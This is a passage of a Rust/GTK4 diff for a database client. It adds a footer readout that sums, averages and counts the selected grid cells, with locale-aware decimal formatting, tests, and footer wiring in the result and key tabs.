+use gtk4::prelude::*;
+use gtk4::subclass::prelude::*;
+use gtk4::{self as gtk, glib};
+
+use super::DataGrid;
+use crate::i18n::{gettext, gettext_f};
+use crate::services::grid::{RowSnapshot, SelectionSummary, SummaryRule, summarize};
+use crate::ui::format::{format_decimal, format_thousands};
+use crate::ui::icons;
+
+/// A summary of one row says no more than its cell.
+const MIN_ROWS: usize = 2;
+
+#[derive(Default)]
+pub struct SummaryState {
+    readout: OnceCell<Readout>,
+    /// The last data column a cell had the focus in. It stays while the
+    /// focus is in the readout's popover or the detail pane.
+    column: Cell<Option<usize>>,
+    queued: Cell<bool>,
+    /// Counts runs, so an answer to an older one is dropped.
+    runs: Cell<u64>,
+    pub(super) running: RefCell<Option<Arc<AtomicBool>>>,
+}
+
+impl SummaryState {
+    pub(super) fn forget_column(&self) {
+        self.column.set(None);
+    }
+
+    pub(super) fn stop(&self) {
+        if let Some(running) = self.running.take() {
+            running.store(true, Ordering::Relaxed);
+        }
+    }
+}
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+struct Shown {
+    column: String,
+    summary: SelectionSummary,
+}
+
+/// A menu button in the host's bottom bar whose popover lists every
+/// figure with a Copy button. The revealer keeps the bar's height while
+/// it is hidden.
+struct Readout {
+    revealer: gtk::Revealer,
+    button: gtk::MenuButton,
+    heading: gtk::Label,
+    separator: gtk::Separator,
+    figures: Vec<FigureRow>,
+    shown: RefCell<Option<Shown>>,
+}
+
+impl Readout {
+    fn new(grid: &DataGrid) -> Self {
+        let heading = gtk::Label::builder()
+            .xalign(0.0)
+            .ellipsize(gtk::pango::EllipsizeMode::End)
+            .build();
+        heading.add_css_class("heading");
+        let table = gtk::Grid::builder().row_spacing(4).column_spacing(12).build();
+        let separator = gtk::Separator::new(gtk::Orientation::Horizontal);
+        let mut figures = Vec::with_capacity(Figure::ALL.len());
+        let mut line = 0;
+        for figure in Figure::ALL {
+            if figure == Figure::Sum {
+                table.attach(&separator, 0, line, 3, 1);
+                line += 1;
+            }
+            let row = FigureRow::new(grid, figure);
+            table.attach(&row.title, 0, line, 1, 1);
+            table.attach(&row.value, 1, line, 1, 1);
+            table.attach(&row.copy, 2, line, 1, 1);
+            figures.push(row);
+            line += 1;
+        }
+        let content = gtk::Box::builder()
+            .orientation(gtk::Orientation::Vertical)
+            .spacing(8)
+            .margin_top(6)
+            .margin_bottom(6)
+            .margin_start(6)
+            .margin_end(6)
+            .build();
+        content.append(&heading);
+        content.append(&table);
+        let button = gtk::MenuButton::builder()
+            .popover(&gtk::Popover::builder().child(&content).build())
+            .direction(gtk::ArrowType::Up)
+            .can_shrink(true)
+            .build();
+        button.add_css_class("flat");
+        button.add_css_class("caption");
+        button.add_css_class("numeric");
+        let revealer = gtk::Revealer::builder()
+            .transition_type(gtk::RevealerTransitionType::SlideRight)
+            .child(&button)
+            .build();
+        Self {
+            revealer,
+            button,
+            heading,
+            separator,
+            figures,
+            shown: RefCell::default(),
+        }
+    }
+
+    /// While a run is out, Copy would take figures of rows no longer
+    /// selected.
+    fn set_current(&self, current: bool) {
+        for row in &self.figures {
+            row.copy.set_sensitive(current);
+        }
+    }
+
+    fn show(&self, shown: Option<Shown>) {
+        self.set_current(true);
+        if *self.shown.borrow() == shown {
+            return;
+        }
+        match &shown {
+            Some(shown) => {
+                let sentence = sentence(&shown.summary);
+                self.button.set_label(&sentence);
+                // The label ellipsizes in a narrow bar; the tooltip keeps every digit.
+                self.button.set_tooltip_text(Some(&sentence));
+                self.heading.set_label(&shown.column);
+                for row in &self.figures {
+                    row.show(row.figure.of(&shown.summary));
+                }
+                self.separator.set_visible(shown.summary.numbers.is_some());
+            }
+            None => self.button.popdown(),
+        }
+        self.revealer.set_reveal_child(shown.is_some());
+        self.shown.replace(shown);
+    }
+}
+
+fn sentence(summary: &SelectionSummary) -> String {
+    let count = format_thousands(summary.value_count);
+    match &summary.numbers {
+        Some(numbers) => gettext_f(
+            "Sum {sum}, Average {average}, Count {count}",
+            &[
+                ("sum", &format_decimal(&numbers.sum)),
+                ("average", &format_decimal(&numbers.average)),
+                ("count", &count),
+            ],
+        ),
+        None => gettext_f("Count {count}", &[("count", &count)]),
+    }
+}
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+enum Figure {
+    Count,
+    Numbers,
+    Empty,
+    NotANumber,
+    Sum,
+    Average,
+    Minimum,
+    Maximum,
+}
+
+impl Figure {
+    const ALL: [Self; 8] = [
+        Self::Count,
+        Self::Numbers,
+        Self::Empty,
+        Self::NotANumber,
+        Self::Sum,
+        Self::Average,
+        Self::Minimum,
+        Self::Maximum,
+    ];
+
+    fn title(self) -> String {
+        match self {
+            Self::Count => gettext("Count"),
+            // Translators: how many of the summed cells hold a number.
+            Self::Numbers => gettext("Numbers"),
+            Self::Empty => gettext("Empty"),
+            Self::NotANumber => gettext("Not a Number"),
+            Self::Sum => gettext("Sum"),
+            Self::Average => gettext("Average"),
+            Self::Minimum => gettext("Minimum"),
+            Self::Maximum => gettext("Maximum"),
+        }
+    }
+
+    fn copy_title(self) -> String {
+        match self {
+            Self::Count => gettext("Copy Count"),
+            Self::Numbers => gettext("Copy Number Count"),
+            Self::Empty => gettext("Copy Empty Count"),
+            Self::NotANumber => gettext("Copy Not a Number Count"),
+            Self::Sum => gettext("Copy Sum"),
+            Self::Average => gettext("Copy Average"),
+            Self::Minimum => gettext("Copy Minimum"),
+            Self::Maximum => gettext("Copy Maximum"),
+        }
+    }
+
+    /// The figure as the locale writes it and as Copy puts it on the
+    /// clipboard, when the summary has it.
+    fn of(self, summary: &SelectionSummary) -> Option<(String, String)> {
+        let count = |n: u64| (format_thousands(n), n.to_string());
+        let number = |plain: &String| (format_decimal(plain), plain.clone());
+        let numbers = summary.numbers.as_ref();
+        match self {
+            Self::Count => Some(count(summary.value_count)),
+            Self::Numbers => Some(count(numbers.map_or(0, |numbers| numbers.count))),
+            Self::Empty => Some(count(summary.empty_count)),
+            Self::NotANumber => (summary.not_a_number_count > 0).then(|| count(summary.not_a_number_count)),
+            Self::Sum => numbers.map(|numbers| number(&numbers.sum)),
+            Self::Average => numbers.map(|numbers| number(&numbers.average)),
+            Self::Minimum => numbers.map(|numbers| number(&numbers.minimum)),
+            Self::Maximum => numbers.map(|numbers| number(&numbers.maximum)),
+        }
+    }
+}
+
+struct FigureRow {
+    figure: Figure,
+    title: gtk::Label,
+    value: gtk::Label,
+    copy: gtk::Button,
+    copied: Rc<RefCell<String>>,
+}
+
+impl FigureRow {
+    fn new(grid: &DataGrid, figure: Figure) -> Self {
+        let title = gtk::Label::builder().label(figure.title()).xalign(0.0).build();
+        title.add_css_class("dimmed");
+        // A sum can run to thousands of digits; Copy still takes every one.
+        let value = gtk::Label::builder()
+            .xalign(1.0)
+            .hexpand(true)
+            .ellipsize(gtk::pango::EllipsizeMode::Middle)
+            .max_width_chars(32)
+            .build();
+        value.add_css_class("numeric");
+        value.update_relation(&[gtk::accessible::Relation::LabelledBy(&[title.upcast_ref()])]);
+        let copy_title = figure.copy_title();
+        let copy = gtk::Button::builder()
+            .icon_name(icons::EDIT_COPY)
+            .tooltip_text(&copy_title)
+            .valign(gtk::Align::Center)
+            .build();
+        copy.add_css_class("flat");
+        copy.update_property(&[gtk::accessible::Property::Label(&copy_title)]);
+        let copied: Rc<RefCell<String>> = Rc::default();
+        let text = copied.clone();
+        let grid = grid.downgrade();
+        copy.connect_clicked(move |_| {
+            if let Some(grid) = grid.upgrade() {
+                crate::ui::clipboard::copy_text(&grid, text.borrow().clone(), |message| grid.toast(message));
+            }
+        });
+        Self {
+            figure,
+            title,
+            value,
+            copy,
+            copied,
+        }
+    }
+
+    fn show(&self, figure: Option<(String, String)>) {
+        let shown = figure.is_some();
+        if let Some((text, copied)) = figure {
+            self.value.set_label(&text);
+            self.copied.replace(copied);
+        }
+        self.title.set_visible(shown);
+        self.value.set_visible(shown);
+        self.copy.set_visible(shown);
+    }
+}
+
+impl DataGrid {
+    /// The readout for a host to place in its bottom bar. A grid sums
+    /// nothing until one is placed.
+    pub(crate) fn selection_summary(&self) -> gtk::Widget {
+        let state = &self.imp().summary;
+        let placed = state.readout.get().is_some();
+        let widget = state
+            .readout
+            .get_or_init(|| Readout::new(self))
+            .revealer
+            .clone()
+            .upcast();
+        if !placed {
+            self.refresh_summary();
+        }
+        widget
+    }
+
+    /// Sum again once the main loop is idle, so a key press that moves
+    /// both the focus and the selection sums once.
+    pub(super) fn refresh_summary(&self) {
+        let state = &self.imp().summary;
+        if let Some(cell) = self.focused_cell() {
+            state.column.set(Some(cell.column()));
+        }
+        if state.readout.get().is_none() || state.queued.replace(true) {
+            return;
+        }
+        let grid = self.downgrade();
+        glib::idle_add_local_once(move || {
+            if let Some(grid) = grid.upgrade() {
+                grid.imp().summary.queued.set(false);
+                grid.start_summary();
+            }
+        });
+    }
+
+    /// Sum the values off the GTK thread: a page holds up to 100,000 rows.
+    /// A newer run stops this one.
+    pub(super) fn start_summary(&self) {
+        let state = &self.imp().summary;
+        let Some(readout) = state.readout.get() else {
+            return;
+        };
+        state.stop();
+        let run = state.runs.get().wrapping_add(1);
+        state.runs.set(run);
+        let tasks = self.config().map(|config| config.tasks.clone());
+        let (Some(tasks), Some(input)) = (tasks, self.summary_input()) else {
+            readout.show(None);
+            return;
+        };
+        let SummaryInput {
+            column,
+            index,
+            rule,
+            rows,
+        } = input;
+        let cancelled = Arc::new(AtomicBool::new(false));
+        state.running.replace(Some(cancelled.clone()));
+        readout.set_current(false);
+        let grid = self.downgrade();
+        glib::spawn_future_local(async move {
+            let answer = tasks
+                .spawn_blocking_task(move || {
+                    let values = rows.iter().map(|row| row.value(index));
+                    summarize(values, rule, &|| cancelled.load(Ordering::Relaxed))
+                })
+                .await;
+            let Some(grid) = grid.upgrade() else {
+                return;
+            };
+            let state = &grid.imp().summary;
+            if state.runs.get() != run {
+                return;
+            }
+            state.running.take();
+            let Some(readout) = state.readout.get() else {
+                return;
+            };
+            match answer {
+                Ok(Some(summary)) => readout.show(Some(Shown { column, summary })),
+                Ok(None) => {}
+                Err(failure) => {
+                    tracing::warn!(%failure, "the selection could not be summed");
+                    readout.show(None);
+                }
+            }
+        });
+    }
+
+    /// The selected rows as the cells show them, sharing the cells the page
+    /// read. Rows marked for deletion are left out, also once a save failed
+    /// on them.
+    fn summary_input(&self) -> Option<SummaryInput> {
+        let rows = self.selected_rows();
+        if rows.len() < MIN_ROWS {
+            return None;
+        }
+        let index = self.imp().summary.column.get()?;
+        if !self.shown_columns().contains(&index) {
+            return None;
+        }
+        let columns = self.grid_columns();
+        let column = columns.iter().find(|column| column.index == index)?;
+        let tracked = self.tracked();
+        let rows = rows
+            .iter()
+            .filter(|row| !tracked.mark(row, index).row_deleted)
+            .map(|row| tracked.column_snapshot(row, index))
+            .collect();
+        Some(SummaryInput {
+            column: column.name.clone(),
+            index,
+            rule: SummaryRule::for_column(column),
+            rows,
+        })
+    }
+}
+
+struct SummaryInput {
+    column: String,
+    index: usize,
+    rule: SummaryRule,
+    rows: Vec<RowSnapshot>,
+}
diff --git a/linux/crates/app/src/ui/data_grid/tests/mod.rs b/linux/crates/app/src/ui/data_grid/tests/mod.rs
index d0d46eec1f..c218bade72 100644
--- a/linux/crates/app/src/ui/data_grid/tests/mod.rs
+++ b/linux/crates/app/src/ui/data_grid/tests/mod.rs
@@ -6,6 +6,7 @@ mod layout;
 mod menus;
 mod selection;
 mod sorting;
+mod summary;
 mod values;
 mod view;
 
diff --git a/linux/crates/app/src/ui/data_grid/tests/summary.rs b/linux/crates/app/src/ui/data_grid/tests/summary.rs
new file mode 100644
index 0000000000..3b26c54766
--- /dev/null
+++ b/linux/crates/app/src/ui/data_grid/tests/summary.rs
@@ -0,0 +1,309 @@
+use std::cell::RefCell;
+use std::rc::Rc;
+
+use gtk4 as gtk;
+use gtk4::prelude::*;
+use gtk4::subclass::prelude::*;
+use tablepro_core::Value;
+use tablepro_core::value::SqlDecimal;
+
+use super::super::GridRequest;
+use super::super::test_grid::{Grid, WAIT, key, named};
+use crate::services::tracker_edit::TrackerEdit;
+use crate::test_support::{descendants, drain_main_context, finish_on_main, wait_until};
+
+fn text(value: &str) -> Value {
+    Value::Text(value.to_owned())
+}
+
+/// Amounts 10, 32 and NULL, keyed 1 to 3.
+fn amounts() -> Grid {
+    Grid::open(
+        vec![
+            named("id", "integer", true),
+            named("amount", "integer", false),
+            named("name", "text", false),
+        ],
+        vec![
+            vec![Value::Int(1), Value::Int(10), text("a")],
+            vec![Value::Int(2), Value::Int(32), text("b")],
+            vec![Value::Int(3), Value::Null, text("c")],
+        ],
+    )
+}
+
+fn readout(grid: &Grid) -> (gtk::Revealer, gtk::MenuButton) {
+    let revealer = grid
+        .grid
+        .selection_summary()
+        .downcast::<gtk::Revealer>()
+        .expect("the readout is a revealer");
+    let button = revealer
+        .child()
+        .and_downcast::<gtk::MenuButton>()
+        .expect("the readout's menu button");
+    (revealer, button)
+}
+
+fn wait_for_label(button: &gtk::MenuButton, expected: &str) {
+    wait_until(WAIT, || button.label().as_deref() == Some(expected))
+        .unwrap_or_else(|_| panic!("the readout said {:?}, not {expected:?}", button.label()));
+}
+
+fn wait_hidden(revealer: &gtk::Revealer) {
+    wait_until(WAIT, || !revealer.reveals_child()).expect("the readout hides");
+}
+
+#[gtk4::test]
+fn sums_the_focused_column_over_the_selected_rows() {
+    let grid = amounts();
+    let (revealer, button) = readout(&grid);
+    drain_main_context();
+    assert!(!revealer.reveals_child(), "nothing is selected yet");
+
+    grid.focus(0, 1);
+    grid.grid.selection().select_all();
+
+    wait_for_label(&button, "Sum 42, Average 21, Count 2");
+    assert!(revealer.reveals_child());
+    assert_eq!(button.tooltip_text().as_deref(), Some("Sum 42, Average 21, Count 2"));
+}
+
+#[gtk4::test]
+fn a_text_column_only_counts() {
+    let grid = amounts();
+    let (_, button) = readout(&grid);
+
+    grid.focus(0, 2);
+    grid.grid.selection().select_all();
+
+    wait_for_label(&button, "Count 3");
+}
+
+#[gtk4::test]
+fn a_single_row_shows_no_summary() {
+    let grid = amounts();
+    let (revealer, button) = readout(&grid);
+    grid.focus(0, 1);
+    grid.grid.selection().select_all();
+    wait_for_label(&button, "Sum 42, Average 21, Count 2");
+
+    grid.grid.selection().select_item(1, true);
+
+    wait_hidden(&revealer);
+}
+
+#[gtk4::test]
+fn an_edit_counts_as_the_cell_shows_it_while_the_focus_is_elsewhere() {
+    let grid = amounts();
+    let (revealer, button) = readout(&grid);
+    grid.focus(0, 1);
+    grid.grid.selection().select_all();
+    wait_for_label(&button, "Sum 42, Average 21, Count 2");
+
+    gtk::prelude::GtkWindowExt::set_focus(&grid.window, None::<&gtk::Widget>);
+    grid.grid.apply_delta(&grid.tracker.apply(TrackerEdit::Cell {
+        row_key: key(1),
+        col: 1,
+        original: Value::Int(10),
+        value: Value::Int(20),
+    }));
+
+    wait_for_label(&button, "Sum 52, Average 26, Count 2");
+    assert!(revealer.reveals_child(), "the focus leaving the cells hid the readout");
+}
+
+#[gtk4::test]
+fn rows_marked_for_deletion_are_left_out_also_after_a_failed_save() {
+    let grid = amounts();
+    let (_, button) = readout(&grid);
+    grid.focus(0, 1);
+    grid.grid.selection().select_all();
+    wait_for_label(&button, "Sum 42, Average 21, Count 2");
+
+    grid.grid.apply_delta(&grid.tracker.apply(TrackerEdit::DeleteRows {
+        persisted: vec![(key(2), vec![Value::Int(2), Value::Int(32), text("b")].into())],
+        drafts: Vec::new(),
+    }));
+    wait_for_label(&button, "Sum 10, Average 10, Count 1");
+
+    grid.grid.apply_delta(&grid.tracker.mark_error_row(key(2)));
+    grid.grid.apply_delta(&grid.tracker.apply(TrackerEdit::Cell {
+        row_key: key(1),
+        col: 1,
+        original: Value::Int(10),
+        value: Value::Int(11),
+    }));
+    wait_for_label(&button, "Sum 11, Average 11, Count 1");
+}
+
+#[gtk4::test]
+fn a_hidden_column_is_not_summed() {
+    let grid = amounts();
+    let (revealer, button) = readout(&grid);
+    grid.focus(0, 1);
+    grid.grid.selection().select_all();
+    wait_for_label(&button, "Sum 42, Average 21, Count 2");
+
+    grid.grid.set_column_visible(1, false);
+
+    // GTK may move the focus to a cell still shown, whose column is summed then.
+    wait_until(WAIT, || {
+        !revealer.reveals_child() || button.label().as_deref() != Some("Sum 42, Average 21, Count 2")
+    })
+    .expect("the hidden column is still summed");
+}
+
+#[gtk4::test]
+fn the_readout_keeps_its_height_while_hidden() {
+    let grid = amounts();
+    let (revealer, button) = readout(&grid);
+    let footer = gtk::Box::new(gtk::Orientation::Horizontal, 6);
+    footer.append(&gtk::Label::new(Some("3 rows")));
+    footer.append(&revealer);
+    let hidden = footer.measure(gtk::Orientation::Vertical, -1).1;
+
+    grid.focus(0, 1);
+    grid.grid.selection().select_all();
+    wait_for_label(&button, "Sum 42, Average 21, Count 2");
+
+    assert_eq!(footer.measure(gtk::Orientation::Vertical, -1).1, hidden);
+}
+
+#[gtk4::test]
+fn the_popover_lists_each_figure_and_copies_it_without_grouping() {
+    let decimal = |text: &str| Value::Decimal(text.parse::<SqlDecimal>().expect("a decimal"));
+    let grid = Grid::open(
+        vec![named("id", "integer", true), named("price", "numeric(10,2)", false)],
+        vec![
+            vec![Value::Int(1), decimal("1234.5")],
+            vec![Value::Int(2), decimal("0.25")],
+            vec![Value::Int(3), decimal("NaN")],
+        ],
+    );
+    let toasts: Rc<RefCell<Vec<String>>> = Rc::default();
+    let log = toasts.clone();
+    grid.grid.connect_request(move |_, request| {
+        if let GridRequest::Toast(text) = request {
+            log.borrow_mut().push(text);
+        }
+    });
+    let (_, button) = readout(&grid);
+    grid.focus(0, 1);
+    grid.grid.selection().select_all();
+    // CI runs in the C locale, which groups as English does.
+    wait_for_label(&button, "Sum 1,234.75, Average 617.375, Count 3");
+
+    let popover = button.popover().expect("the readout's popover");
+    let labels: Vec<String> = descendants(&popover)
+        .into_iter()
+        .filter_map(|widget| widget.downcast::<gtk::Label>().ok())
+        .filter(|label| label.get_visible())
+        .map(|label| label.label().to_string())
+        .collect();
+    assert_eq!(
+        labels,
+        [
+            "price",
+            "Count",
+            "3",
+            "Numbers",
+            "2",
+            "Empty",
+            "0",
+            "Not a Number",
+            "1",
+            "Sum",
+            "1,234.75",
+            "Average",
+            "617.375",
+            "Minimum",
+            "0.25",
+            "Maximum",
+            "1,234.50",
+        ]
+    );
+
+    let copy_maximum = descendants(&popover)
+        .into_iter()
+        .filter_map(|widget| widget.downcast::<gtk::Button>().ok())
+        .find(|copy| copy.tooltip_text().as_deref() == Some("Copy Maximum"))
+        .expect("Copy Maximum");
+    assert!(copy_maximum.is_sensitive(), "Copy stayed off after the figures came in");
+    copy_maximum.emit_clicked();
+    wait_until(WAIT, || !toasts.borrow().is_empty()).expect("the copy lands");
+    let clipboard = grid.grid.clipboard();
+    let copied = finish_on_main(WAIT, async move { clipboard.read_text_future().await })
+        .expect("the clipboard to answer")
+        .expect("text on the clipboard");
+    assert_eq!(copied.as_deref(), Some("1234.50"));
+}
+
+#[gtk4::test]
+fn a_long_figure_keeps_its_popover_row_on_one_line() {
+    let grid = amounts();
+    let (_, button) = readout(&grid);
+    grid.focus(0, 1);
+    grid.grid.selection().select_all();
+    wait_for_label(&button, "Sum 42, Average 21, Count 2");
+    let popover = button.popover().expect("the readout's popover");
+    let height = || {
+        popover
+            .child()
+            .expect("the popover's content")
+            .measure(gtk::Orientation::Vertical, -1)
+            .1
+    };
+    let short = height();
+
+    let wide = format!("1{}", "0".repeat(1_500))
+        .parse::<SqlDecimal>()
+        .expect("a decimal");
+    grid.grid.apply_delta(&grid.tracker.apply(TrackerEdit::Cell {
+        row_key: key(1),
+        col: 1,
+        original: Value::Int(10),
+        value: Value::Decimal(wide),
+    }));
+    wait_until(WAIT, || button.label().is_some_and(|label| label.len() > 1_000)).expect("the wide sum");
+
+    assert_eq!(height(), short, "a long figure made the popover taller");
+}
+
+#[gtk4::test]
+fn the_readout_goes_with_its_grid() {
+    let grid = amounts();
+    let (revealer, button) = readout(&grid);
+    grid.focus(0, 1);
+    grid.grid.selection().select_all();
+    wait_for_label(&button, "Sum 42, Average 21, Count 2");
+    let (revealer_ref, button_ref) = (revealer.downgrade(), button.downgrade());
+    drop((revealer, button));
+
+    drop(grid);
+    drain_main_context();
+
+    assert!(revealer_ref.upgrade().is_none(), "the readout outlived its grid");
+    assert!(button_ref.upgrade().is_none(), "the menu button outlived its grid");
+}
+
+#[gtk4::test]
+fn closing_the_grid_stops_the_run_still_out() {
+    let grid = amounts();
+    readout(&grid);
+    grid.focus(0, 1);
+    grid.grid.selection().select_all();
+    drain_main_context();
+    // The answer lands on a context nothing runs, so the run is still out
+    // when the grid goes.
+    let parked = gtk::glib::MainContext::new();
+    parked
+        .with_thread_default(|| grid.grid.start_summary())
+        .expect("the context is free");
+    let running = grid.grid.imp().summary.running.borrow().clone().expect("the run");
+
+    drop(grid);
+    drain_main_context();
+
+    assert!(running.load(std::sync::atomic::Ordering::Relaxed));
+}
diff --git a/linux/crates/app/src/ui/data_grid/tracked_values.rs b/linux/crates/app/src/ui/data_grid/tracked_values.rs
index 0bf12b3739..8e9aac6670 100644
--- a/linux/crates/app/src/ui/data_grid/tracked_values.rs
+++ b/linux/crates/app/src/ui/data_grid/tracked_values.rs
@@ -217,6 +217,17 @@ impl TrackedValues {
         RowSnapshot::new(cells, overrides)
     }
 
+    /// `snapshot` that reads only `column` through the tracker, for a
+    /// caller that reads no other column of the row.
+    pub fn column_snapshot(&self, row: &GridRow, column: usize) -> RowSnapshot {
+        let cells = row.cells().unwrap_or_else(|| Arc::from([]));
+        let pending = self
+            .tracked_key(row)
+            .and_then(|(tracker, key)| tracker.cell_overlay(&key, column).pending)
+            .map(|input| (column, input.value().cloned().unwrap_or(Value::Null)));
+        RowSnapshot::new(cells, pending.into_iter().collect())
+    }
+
     /// Like `snapshot`, except a draft's cell left to the server stays
     /// `Default`.
     pub fn inputs(&self, row: &GridRow) -> Vec<CellInput> {
@@ -279,11 +290,25 @@ mod tests {
         });
 
         assert!(values.with_value(&row, 1, |value, _| *value == Value::Int(6)));
+        assert_eq!(values.column_snapshot(&row, 1).value(1), &Value::Int(6));
         assert_eq!(values.edit_input(&row, 1), CellInput::Value(Value::Int(6)));
         assert_eq!(values.row_state(&row), RowPendingState::Modified);
         assert_eq!(values.mark(&row, 1).state, CellState::Modified);
     }
 
+    #[test]
+    fn a_column_snapshot_of_a_draft_reads_its_cell_and_a_default_as_null() {
+        let tracker = TabTrackerHandle::default();
+        let values = TrackedValues::tracked(tracker.clone(), keyed());
+        let delta = tracker.apply(TrackerEdit::InsertDrafts {
+            rows: vec![vec![CellInput::Default, CellInput::Value(Value::Int(7))]],
+        });
+        let row = GridRow::new(RowData::draft(delta.inserted_drafts[0]));
+
+        assert_eq!(values.column_snapshot(&row, 1).value(1), &Value::Int(7));
+        assert_eq!(values.column_snapshot(&row, 0).value(0), &Value::Null);
+    }
+
     #[test]
     fn every_pending_state_has_an_icon_and_a_sentence() {
         for state in [
diff --git a/linux/crates/app/src/ui/format/mod.rs b/linux/crates/app/src/ui/format/mod.rs
index ade92482ee..b05034fe7f 100644
--- a/linux/crates/app/src/ui/format/mod.rs
+++ b/linux/crates/app/src/ui/format/mod.rs
@@ -4,7 +4,7 @@ mod thousands;
 
 #[cfg(test)]
 pub(crate) use self::thousands::Thousands;
-pub(crate) use self::thousands::format_thousands;
+pub(crate) use self::thousands::{format_decimal, format_thousands};
 
 /// The count gettext picks a plural form by. It takes a u32, and a
 /// result past that is rare enough for the largest u32 to stand in.
diff --git a/linux/crates/app/src/ui/format/thousands.rs b/linux/crates/app/src/ui/format/thousands.rs
index b3395e50df..a77c58fd6d 100644
--- a/linux/crates/app/src/ui/format/thousands.rs
+++ b/linux/crates/app/src/ui/format/thousands.rs
@@ -36,6 +36,17 @@ impl Thousands {
             None => n.to_string(),
         }
     }
+
+    /// `plain`, a decimal number written with a `.` and no grouping,
+    /// grouped and with the locale's decimal separator. Every fraction
+    /// digit stays, trailing zeros included, so cents read as cents.
+    pub(crate) fn format_decimal(&self, plain: &str) -> String {
+        let parsed = Decimal::try_from_str(plain);
+        match (&self.formatter, parsed) {
+            (Some(formatter), Ok(decimal)) => formatter.format_to_string(&decimal),
+            _ => plain.to_owned(),
+        }
+    }
 }
 
 // A cache, not state: every window formats with the process's locale,
@@ -57,6 +68,11 @@ pub(crate) fn format_thousands(n: u64) -> String {
     USER.with(|thousands| thousands.format(n))
 }
 
+/// `plain` decimal text as the user's locale writes numbers.
+pub(crate) fn format_decimal(plain: &str) -> String {
+    USER.with(|thousands| thousands.format_decimal(plain))
+}
+
 #[cfg(test)]
 mod tests {
     use super::*;
@@ -97,4 +113,20 @@ mod tests {
         assert_eq!(Thousands::for_posix_locale("").format(1_000), "1,000");
         assert_eq!(Thousands::for_posix_locale("not a locale").format(1_000), "1,000");
     }
+
+    #[test]
+    fn a_decimal_keeps_its_fraction_digits_and_the_locale_separator() {
+        let english = Thousands::for_posix_locale("en_US.UTF-8");
+        let italian = Thousands::for_posix_locale("it_IT.UTF-8");
+
+        assert_eq!(english.format_decimal("1234567.50"), "1,234,567.50");
+        assert_eq!(english.format_decimal("-0.025"), "-0.025");
+        assert_eq!(italian.format_decimal("12345.5"), "12.345,5");
+        assert_eq!(
+            italian.format_decimal("1234.5"),
+            "1234,5",
+            "four digits stay together in Italian"
+        );
+        assert_eq!(english.format_decimal("not a number"), "not a number");
+    }
 }
diff --git a/linux/crates/app/src/ui/key_tab/mod.rs b/linux/crates/app/src/ui/key_tab/mod.rs
index c30341e809..441d877497 100644
--- a/linux/crates/app/src/ui/key_tab/mod.rs
+++ b/linux/crates/app/src/ui/key_tab/mod.rs
@@ -344,6 +344,7 @@ fn content_page(grid: &DataGrid) -> (gtk::Box, ContentParts) {
         .build();
     more.add_css_class("flat");
     footer_bar.append(&footer);
+    footer_bar.append(&grid.selection_summary());
     footer_bar.append(&more);
     page.append(&header);
     page.append(&gtk::Separator::new(gtk::Orientation::Horizontal));
diff --git a/linux/crates/app/src/ui/key_tab/tests.rs b/linux/crates/app/src/ui/key_tab/tests.rs
index c6afe185a1..bb491aac75 100644
--- a/linux/crates/app/src/ui/key_tab/tests.rs
+++ b/linux/crates/app/src/ui/key_tab/tests.rs
@@ -198,6 +198,44 @@ fn a_refresh_keeps_the_grid_and_its_sort() {
     assert_eq!(shown_elements(&tab), ["element2", "element1", "element0"]);
 }
 
+#[gtk4::test]
+fn the_footer_sums_the_selected_entries() {
+    let mut script = ConnectionScript::default();
+    script.read_key.always(FakeReply::ok(Some(list_page(0, 3, None))));
+    let (tab, _fake, _runtime) = opened(script);
+    let window = crate::test_support::OwnedWindow::presented(gtk::Window::builder().child(tab.widget()).build());
+    wait_until(WAIT, || tab.rows() == 3 && tab.grid().width() > 0).expect("the key, laid out");
+    let readout = tab
+        .grid()
+        .selection_summary()
+        .downcast::<gtk::Revealer>()
+        .expect("the readout");
+    assert!(
+        readout.is_ancestor(tab.widget()),
+        "the readout is not in the key's footer"
+    );
+
+    wait_until(WAIT, || tab.grid().focus_cell(0, 0).is_some()).expect("a cell takes the focus");
+    tab.grid().selection().select_all();
+
+    let button = readout
+        .child()
+        .and_downcast::<gtk::MenuButton>()
+        .expect("the menu button");
+    wait_until(WAIT, || button.label().as_deref() == Some("Sum 3, Average 1, Count 3")).expect("the index summed");
+
+    button.popup();
+
+    // The figures are in place before the popover opens and takes the focus.
+    let first_copy = || {
+        gtk::prelude::GtkWindowExt::focus(&*window)
+            .and_downcast::<gtk::Button>()
+            .and_then(|focused| focused.tooltip_text())
+            .is_some_and(|tooltip| tooltip == "Copy Count")
+    };
+    wait_until(WAIT, first_copy).expect("the popover's first Copy button takes the focus");
+}
+
 /// The header's Row Details toggle reaches the tab's grid.
 #[gtk4::test]
 fn row_details_reaches_the_key_s_grid() {
diff --git a/linux/crates/app/src/ui/result_pane/mod.rs b/linux/crates/app/src/ui/result_pane/mod.rs
index fa6a62603d..d0046c16a0 100644
--- a/linux/crates/app/src/ui/result_pane/mod.rs
+++ b/linux/crates/app/src/ui/result_pane/mod.rs
@@ -69,7 +69,10 @@ pub(crate) fn result_set_page(
     let page = gtk::Box::builder().orientation(gtk::Orientation::Vertical).build();
     page.append(banner.widget());
     page.append(&grid);
-    page.append(&row_count_footer(view.row_count() as u64));
+    let footer = gtk::Box::builder().spacing(6).build();
+    footer.append(&row_count_footer(view.row_count() as u64));
+    footer.append(&grid.selection_summary());
+    page.append(&footer);
     (page.upcast(), grid)
 }
 
@@ -87,7 +90,7 @@ fn row_count_footer(shown: u64) -> gtk::Label {
         .margin_top(4)
         .margin_bottom(4)
         .build();
-    footer.add_css_class("dim-label");
+    footer.add_css_class("dimmed");
     footer.add_css_class("caption");
     footer
 }
diff --git a/linux/crates/app/src/ui/structure_tab/save_handlers.rs b/linux/crates/app/src/ui/structure_tab/save_handlers.rs
index 03ed1318dd..a28efa38c0 100644
--- a/linux/crates/app/src/ui/structure_tab/save_handlers.rs
+++ b/linux/crates/app/src/ui/structure_tab/save_handlers.rs
@@ -37,10 +37,6 @@ impl StructureModel {
             SaveInput::Discard => {
                 // This also lets go of a save whose outcome was unknown.
                 self.tracker.clear();
-                if self.mode() == StructureMode::Edit && self.definition_stale {
-                    fx.input(SaveInput::Reload);
-                    return;
-                }
                 // New mode clears everything but the name, since a new
                 // table starts empty.
                 let restored = match self.context.borrow().original() {
@@ -49,6 +45,11 @@ impl StructureModel {
                 };
                 self.show_draft(restored);
                 self.recompute_dirty_state(fx);
+                // The read keeps the restored definition on screen while it
+                // runs and through a failure, never the discarded edits.
+                if self.mode() == StructureMode::Edit && self.definition_stale {
+                    fx.input(SaveInput::Reload);
+                }
             }
